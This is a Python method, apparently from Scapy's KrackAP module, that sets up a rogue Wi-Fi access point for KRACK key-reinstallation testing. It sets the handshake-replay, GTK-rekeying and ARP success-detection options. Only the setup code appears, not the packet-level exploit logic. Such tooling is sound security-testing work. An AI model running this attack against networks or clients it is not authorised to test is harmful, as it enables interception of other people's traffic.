docs: def parse_args(self, ap_mac, ssid, passphrase,
                     channel=None,
                     # KRACK attack options
                     double_3handshake=True,
                     encrypt_3handshake=True,
                     wait_3handshake=0,
                     double_gtk_refresh=True,
                     arp_target_ip=None,
                     arp_source_ip=None,
                     wait_gtk=10,
                     **kwargs):
          """
          Mandatory arguments:
          @iface: interface to use (must be in monitor mode)
          @ap_mac: AP's MAC
          @ssid: AP's SSID
          @passphrase: AP's Passphrase (min 8 char.)
  
          Optional arguments:
          @channel: used by the interface. Default 6, autodetected on windows
  
          Krack attacks options:
  
           - Msg 3/4 handshake replay:
          double_3handshake: double the 3/4 handshake message
          encrypt_3handshake: encrypt the second 3/4 handshake message
          wait_3handshake: time to wait (in sec.) before sending the second 3/4
           - double GTK rekeying:
          double_gtk_refresh: double the 1/2 GTK rekeying message
          wait_gtk: time to wait (in sec.) before sending the GTK rekeying
          arp_target_ip: Client IP to use in ARP req. (to detect attack success)
                         If None, use a DHCP server
          arp_source_ip: Server IP to use in ARP req. (to detect attack success)
                         If None, use the DHCP server gateway address
          """
          super(KrackAP, self).parse_args(**kwargs)
  
          # Main AP options
          self.mac = ap_mac
          self.ssid = ssid
          self.passphrase = passphrase
          if channel is None:
              if WINDOWS:
                  try:
                      channel = kwargs.get("iface", conf.iface).channel()
                  except (Scapy_Exception, AttributeError):
                      channel = 6
              else:
                  channel = 6
          self.channel = channel
  
          # Internal structures
          self.last_iv = None
          self.client = None
          self.seq_num = count()
          self.replay_counter = count()
          self.time_handshake_end = None
          self.dhcp_server = DHCPOverWPA(send_func=self.send_ether_over_wpa,
                                         pool=Net("192.168.42.128/25"),
                                         network="192.168.42.0/24",
                                         gw="192.168.42.1")
          self.arp_sent = []
          self.arp_to_send = 0
          self.arp_retry = 0
  
          # Bit 0: 3way handshake sent
          # Bit 1: GTK rekeying sent
          # Bit 2: ARP response obtained
          self.krack_state = 0
  
          # Krack options
          self.double_3handshake = double_3handshake
          self.encrypt_3handshake = encrypt_3handshake
          self.wait_3handshake = wait_3handshake
          self.double_gtk_refresh = double_gtk_refresh
          self.arp_target_ip = arp_target_ip
          if arp_source_ip is None:
              # Use the DHCP server Gateway address
              arp_source_ip = self.dhcp_server.gw
          self.arp_source_ip = arp_source_ip
          self.wait_gtk = wait_gtk
  
          # May take several seconds
          self.install_PMK()